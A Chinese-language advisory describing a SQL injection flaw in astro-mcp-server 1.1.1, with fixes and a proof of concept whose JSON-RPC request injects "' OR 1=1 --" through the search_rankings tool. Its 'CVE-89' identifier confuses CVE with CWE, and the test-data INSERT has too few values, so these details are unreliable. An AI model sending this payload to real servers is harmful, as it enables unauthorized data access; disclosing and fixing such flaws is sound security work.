# SQL 注入漏洞总结 (astro-mcp-server) ## 漏洞概述 * **漏洞名称**: SQL Injection Vulnerability in astro-mcp-server * **CVE ID**: CVE-89 (CWE-89: SQL Injection) * **严重程度**: High (CVSS v3.1 Score: 7.6) * **漏洞描述**: 在 `astro-mcp-server` 版本 1.1.1 的 `src/index.ts` 文件中存在 SQL 注入漏洞。多个 MCP 工具(如 `search_rankings`)直接拼接用户可控参数(如 `keyword`, `store`, `appname`)到 SQLite 查询字符串中,未进行任何过滤或转义。攻击者可通过构造恶意参数读取数据库数据或修改数据库状态。 ## 影响范围 * **受影响版本**: 1.1.1 * **受影响组件**: `src/index.ts` * **攻击前提**: 1. 攻击者能调用该 MCP 服务器工具。 2. 服务器能读取预期的 Astro ASO SQLite 数据库。 3. 受影响工具接收攻击者控制的字符串参数。 ## 修复方案 1. **参数化查询**: 使用预编译语句(Prepared Statements)和绑定参数替换字符串拼接。 2. **输入验证**: 对字符串和数字参数实施严格的输入模式验证。 3. **数值限制**: 验证并限制 `limit`, `threshold`, `minPopularity`, `maxDifficulty` 等数值参数。 4. **回归测试**: 添加测试用例,确保 SQL 元字符被当作数据处理而非可执行代码。 ## POC 代码 (Proof of Concept) **1. 准备测试数据库 (SQLite)** ```sql CREATE TABLE ZAPPLICATION ( Z_PK INTEGER, ZNAME TEXT, ZAPPID TEXT, ZDEVELOPER TEXT, ZPLATFORM TEXT, ZLASTUPDATEDTIMESTAMP REAL ); CREATE TABLE ZKEYWORD ( ZAPPLICATION INTEGER, ZTEXT TEXT, ZCURRENTTRAINING INTEGER, ZPREDICTEDRANKING INTEGER, ZDIFFICULTY INTEGER, ZPOPULARITY INTEGER, ZSTORE TEXT, ZLASTUPDATE REAL, ZAPPCOUNT INTEGER ); INSERT INTO ZAPPLICATION VALUES (1, 'Legit App', 'com.example.legit', 'dev', 'ios', 0); INSERT INTO ZKEYWORD VALUES (1, 'safe', 10, 20, 30, 40, 'US', 100); ``` **2. 启动 MCP 服务器** ```bash Command: node Arguments: dist/index.js Environment: {"HOME":"/ASTRO_TEST_HOME"} ``` **3. 发送恶意请求 (JSON-RPC)** ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "search_rankings", "arguments": { "keyword": "' OR 1=1 --", "store": "US", "appname": "Legit App", "limit": 10, "threshold": 0, "minPopularity": 0, "maxDifficulty": 100 } } } ``` **4. 验证** * 通过 MCP Inspector 或客户端发送上述请求。 * 确认响应中包含注入后的数据(如 `Legit App` 的所有记录),证明 SQL 注入成功。